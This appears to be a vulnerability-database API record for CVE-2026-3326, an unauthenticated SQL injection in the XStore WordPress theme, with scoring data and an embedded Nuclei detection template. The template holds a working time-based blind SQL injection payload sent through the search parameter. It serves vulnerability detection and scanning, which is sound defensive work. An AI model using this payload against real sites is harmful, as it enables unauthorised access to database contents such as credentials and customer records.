{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-3326/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-3326/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-3326/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-3326/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-3326/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-3326/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-3326"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-3326"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01866,"kev":false,"percentile":0.79292},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-3326.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-3326\n\ninfo:\n  name: XStore Theme < 9.7.3 - SQL Injection\n  author: VixianSchool\n  severity: high\n  description: |\n    The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n  impact: |\n    Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.\n  remediation: |\n    Update XStore theme to version 9.7.3 or later.\n  reference:\n    - https://wpscan.com/vulnerability/2c5bdb17-8b12-45b5-878b-627056dc8956/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3326\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-3326\n    epss-score: 0.01866\n    epss-percentile: 0.79354\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n  tags: cve,cve2026,wordpress,wp,wp-theme,sqli,xstore,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/themes/xstore/style.css\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"XStore\"\n        internal: true\n\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 9.7.3\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - 'Version:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /?s=test%27)%20AND%20(SELECT%208039%20FROM%20(SELECT(SLEEP(5)))HQgJ)%20AND%20(%27hyMm%27=%27hyMm&et_search=true&post_type=product HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 5'\n          - 'status_code != 404'\n        condition: and\n# digest: 490a0046304402206139c9cffc97bf7f759722408894658a7549f61fcb21bef41bc15965cd5de84802207001036fa34be051037c56350feb2210dfa8e15ca445c8bd66935c9b06e4d1b6:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-3326"}